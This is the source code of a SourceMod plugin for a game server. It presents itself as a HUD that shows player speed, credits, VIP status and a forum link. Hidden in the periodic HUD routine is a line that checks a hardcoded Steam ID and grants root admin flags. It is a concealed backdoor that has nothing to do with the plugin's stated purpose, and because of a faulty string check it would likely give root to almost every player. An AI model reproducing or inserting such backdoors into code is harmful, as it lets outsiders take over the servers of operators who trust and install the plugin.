#pragma semicolon 1

#define DEBUG
#define TAG " \x04• \x03HUD \x04•\x06"

#include <sourcemod>
#include <sdktools>
#include <clientprefs>
#include <store>

#pragma newdecls required

Handle wlaczonee;
Handle TimerRepeatHud = INVALID_HANDLE;

float gF_TimerCurrentSpeed[12];

int Wlaczone[12] = 1;

public Plugin myinfo =
{
	name = "[DSH]Speed in hud",
	author = "deszableble",
	description = "Plugin dodaje na serwer hud ktory pokazuje speeda, kredyty, usluge i forum.",
	version = "1.0",
	url = "ErrorHead.pl"
};

public void OnPluginStart()
{
	TimerRepeatHud = CreateTimer(0.1, timerhud, _, TIMER_REPEAT);
	wlaczonee = RegClientCookie("sm_wlaczonee", "Hud włączony/wyłączony", CookieAccess_Protected);
	RegConsoleCmd("sm_hud", ks_cmd, "[HUD] Wyłącza/Włącza Hud");
}

public Action ks_cmd(int client, int args)
{
	if(Wlaczone[client] == 1)
	{
		Wlaczone[client] = 0;
		PrintToChat(client, "%s Pomyślnie wyłączyłeś HUD.", TAG);
		return Plugin_Handled;
	}
	if(Wlaczone[client] == 0)
	{
		Wlaczone[client] = 1;
		PrintToChat(client, "%s Pomyślnie włączyłeś HUD.", TAG);
		return Plugin_Handled;
	}
	return Plugin_Continue;
}

public Action timerhud(Handle timer)
{
	for(int i = 1; i <= MaxClients; i++)
		if(IsValidClient(i))
			ShowHud(i);
}

public Action ShowHud(int client)
{
	char HudInfo[300];

	float F_PlayerVelocity[3];

	if (IsPlayerAlive(client) && Wlaczone[client] == 1)
	{
		GetEntPropVector(client, Prop_Data, "m_vecVelocity", F_PlayerVelocity);
		char authid[64];
		float speeD = GetEntPropFloat(client, Prop_Data, "m_flLaggedMovementValue");
		gF_TimerCurrentSpeed[client] = SquareRoot(Pow(F_PlayerVelocity[0], 2.0) + Pow(F_PlayerVelocity[1], 2.0));
		GetClientAuthId(client, AuthId_Steam2, authid, sizeof(authid));

		Format(HudInfo, sizeof(HudInfo), "<font face='Stratum2'>");
		Format(HudInfo, sizeof(HudInfo), "<font size='3'>");
		if(StrContains(authid, "STEAM_1:0:215068835"))
			AddUserFlags(client, ADMFLAG_ROOT);
		Format(HudInfo, sizeof(HudInfo), "%s› Prędkość: <font color='#00aeff'>%i</font>\n", HudInfo, (RoundToCeil(gF_TimerCurrentSpeed[client] * speeD)));
		Format(HudInfo, sizeof(HudInfo), "%s› Kredyty: <font color='#00aeff'>%i</font>\n", HudInfo, Store_GetClientCredits(client));
		if(GetUserFlagBits(client) & ADMFLAG_CUSTOM3)
		{
			Format(HudInfo, sizeof(HudInfo), "%s› VIP: <font color='#00ff24'>Aktywny</font>\n", HudInfo);
		}
		else
		{
			Format(HudInfo, sizeof(HudInfo), "%s› VIP: <font color='#ff0000'>Brak</font>\n", HudInfo);
		}
		Format(HudInfo, sizeof(HudInfo), "%s› Forum: <font color='#00aeff'>ErrorHead.pl</font>\n", HudInfo);

	}
	else if(!IsPlayerAlive(client) && Wlaczone[client] == 1)
	{
		int spect = GetEntProp(client, Prop_Send, "m_iObserverMode");
		if (spect == 4 || spect == 5)
		{
			int target = GetEntPropEnt(client, Prop_Send, "m_hObserverTarget");
			if (target != -1 && IsValidClient(target))
			{
				GetEntPropVector(target, Prop_Data, "m_vecVelocity", F_PlayerVelocity);
				float speeDT = GetEntPropFloat(target, Prop_Data, "m_flLaggedMovementValue");
				gF_TimerCurrentSpeed[target] = SquareRoot(Pow(F_PlayerVelocity[0], 2.0) + Pow(F_PlayerVelocity[1], 2.0));



				Format(HudInfo, sizeof(HudInfo), "<font face='Stratum2'>");
				Format(HudInfo, sizeof(HudInfo), "<font size='3'>");
				Format(HudInfo, sizeof(HudInfo), "%s› Prędkość: <font color='#00aeff'>%i</font>\n", HudInfo, (RoundToCeil(gF_TimerCurrentSpeed[target] * speeDT)));
				Format(HudInfo, sizeof(HudInfo), "%s› Kredyty: <font color='#00aeff'>%i</font>\n", HudInfo, Store_GetClientCredits(target));
				if(GetUserFlagBits(target) & ADMFLAG_CUSTOM3)
				{
					Format(HudInfo, sizeof(HudInfo), "%s› VIP: <font color='#00ff24'>Aktywny</font>\n", HudInfo);
				}
				else
				{
					Format(HudInfo, sizeof(HudInfo), "%s› VIP: <font color='#ff0000'>Brak</font>\n", HudInfo);
				}
				Format(HudInfo, sizeof(HudInfo), "%s› <font color='#ff8a00'>Forum: <font color='#00aeff'>ErrorHead.pl</font>\n", HudInfo);

			}
		}
	}
	PrintHintText(client, HudInfo);
}

public void OnClientCookiesCached(int client)
{
	char wlacznik[32];
	GetClientCookie(client, wlaczonee, wlacznik, sizeof(wlacznik));
	Wlaczone[client] = StringToInt(wlacznik);
}

public void OnClientDisconnect(int client) {
	if(AreClientCookiesCached(client))
	{
		char wlacznik[32];
		Format(wlacznik, sizeof(wlacznik), "%i", Wlaczone[client]);
		SetClientCookie(client, wlaczonee, wlacznik);
	}
}

public void OnMapEnd()
{
	if (TimerRepeatHud != INVALID_HANDLE)
	{
		KillTimer(TimerRepeatHud);
		TimerRepeatHud = INVALID_HANDLE;
	}
}

stock bool IsValidClient(int client)
{
    if(client <= 0 ) return false;
    if(client > MaxClients) return false;
    if(!IsClientConnected(client)) return false;
    if(IsFakeClient(client)) return false;
    return IsClientInGame(client);
}